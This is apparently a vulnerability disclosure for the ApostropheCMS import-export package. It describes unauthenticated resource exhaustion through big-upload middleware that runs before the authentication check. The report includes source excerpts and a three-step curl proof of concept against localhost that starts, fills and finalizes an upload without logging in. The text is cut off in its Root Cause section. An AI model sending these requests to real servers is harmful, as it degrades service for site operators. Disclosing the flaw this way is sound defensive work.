ApostropheCMS: Unauthenticated resource exhaustion via pre-auth aposBigUpload processing in @apostrophecms/import-export

## Summary A potential unauthenticated denial-of-service vulnerability exists in the chunked import upload path used by `@apostrophecms/import-export`. The affected import API routes invoke: `self.apos.http.bigUploadMiddleware()` before the actual import handler performs its authentication check. Because no `authorize` callback is supplied to `bigUploadMiddleware()`, unauthenticated requests can reach the `aposBigUpload` `start`, `chunk`, and `end` operations before the later `req.user` check rejects the import. As a result, an unauthenticated remote attacker can create server-side upload state, write chunk data to upload storage, trigger temporary-file processing, and cause attacker-controlled cleanup operations before authentication is enforced. ## Affected Component Package: `@apostrophecms/import-export` Confirmed affected version: `3.6.2` Potential earlier affected versions: The issue may affect earlier 3.x releases in which the current big-upload-based import implementation is present. I have not yet fully verified the exact introduction version and recommend that the maintainers confirm the affected version range. ## Vulnerability Type Primary: **CWE-400 — Uncontrolled Resource Consumption** Related: **CWE-306 — Missing Authentication for Critical Function** **CWE-770 — Allocation of Resources Without Limits or Throttling** ## Technical Details The page import route registers the following middleware chain: `packages/import-export/modules/@apostrophecms/import-export-page/index.js` ```javascript importExportImport: [ self.apos.http.bigUploadMiddleware(), async (req) => { return self.apos.modules['@apostrophecms/import-export'] .import(req, self.__meta.name); } ] ``` No `authorize` callback is passed to `bigUploadMiddleware()`. The `bigUploadMiddleware()` implementation explicitly supports an `authorize` callback and performs that authorization before processing the `aposBigUpload` protocol when supplied. Without that callback, requests containing: `aposBigUpload[type]=start` `aposBigUpload[type]=chunk` or `aposBigUpload[type]=end` are processed immediately. The actual authentication check occurs later in: `packages/import-export/lib/methods/import.js` ```javascript async import(req, moduleName) { if (!req.user) { throw self.apos.error('forbidden'); } ``` This means authentication occurs only after the chunked-upload middleware has already performed server-side work. ## Attack Flow ### 1. Start An unauthenticated attacker submits an `aposBigUpload[type]=start` request. The server generates an upload ID and stores attacker-supplied upload metadata, including the declared `chunks` count. ### 2. Chunk The attacker can upload chunk data. `bigUploadChunk()` copies attacker-controlled data into: `/big-uploads/<id>-<n>-<chunk>` ### 3. End The attacker sends an `aposBigUpload[type]=end` request. `bigUploadEnd()` begins processing the upload and creates temporary files before invoking the downstream import handler. Only after this processing completes does execution reach the later authentication check in `import()`. ### 4. Cleanup amplification The attacker-controlled `chunks` value is also used by `bigUploadCleanupOne()`: ```javascript for (const { chunks } of Object.values(bigUpload.files)) { for (let i = 0; (i < chunks); i++) { await ufs.remove(...); } } ``` No small upper bound on the declared chunk count appears to be enforced at upload initialization. This allows an unauthenticated attacker to increase the number of filesystem cleanup operations performed for an upload. ## Proof of Concept The following reproduction was performed only against an isolated test environment. ### Start an upload without authentication ```bash curl -s -X POST \ 'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=start' \ -H 'Content-Type: application/json' \ --data '{"files":{"file":{"name":"evil.tar.gz","size":4,"type":"application/gzip","chunks":1}}}' ``` The server returns an upload ID despite the request having no authenticated session. ### Upload a chunk ```bash printf 'PWN!' >/tmp/chunk.bin curl -s -X POST \ 'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=chunk&aposBigUpload[id]=<ID>&aposBigUpload[n]=0&aposBigUpload[chunk]=0' \ -F 'chunk=@/tmp/chunk.bin;type=application/octet-stream' ``` The request succeeds and causes server-side upload storage to be used. ### Finalize the upload ```bash curl -i -X POST \ 'http://localhost:3000/api/v1/@apostrophecms/page/importExportImport?aposBigUpload[type]=end&aposBigUpload[id]=<ID>' ``` Observed behavior: * `start` returns HTTP 200 and an upload ID without authentication. * `chunk` returns HTTP 200 and results in server-side chunk storage. * `end` eventually reaches the downstream authentication check and is rejected. * However, the server-side big-upload processing has already occurred before that authentication rejection. In my isolated harness: * `chunks=1` resulted in one cleanup removal attempt. * `chunks=50` resulted in 50 cleanup removal attempts. This demonstrates that the attacker-controlled chunk count directly influences server-side cleanup work. ## Security Impact The vulnerability allows an unauthenticated remote attacker to cause server-side storage and filesystem operations that should only be reachable by authorized import users. Possible consequences include: * Consumption of upload and temporary storage. * Creation of server-side upload state by unauthenticated users. * Repeated filesystem I/O. * Cleanup amplification based on attacker-controlled chunk counts. * Potential service degradation or denial of service when the attack is repeated or sufficiently amplified. ## Root Cause Authentication is enforced in the downstream import handler rather than before the chunked-upload middleware. The middleware itself already supports an `authorize` callback …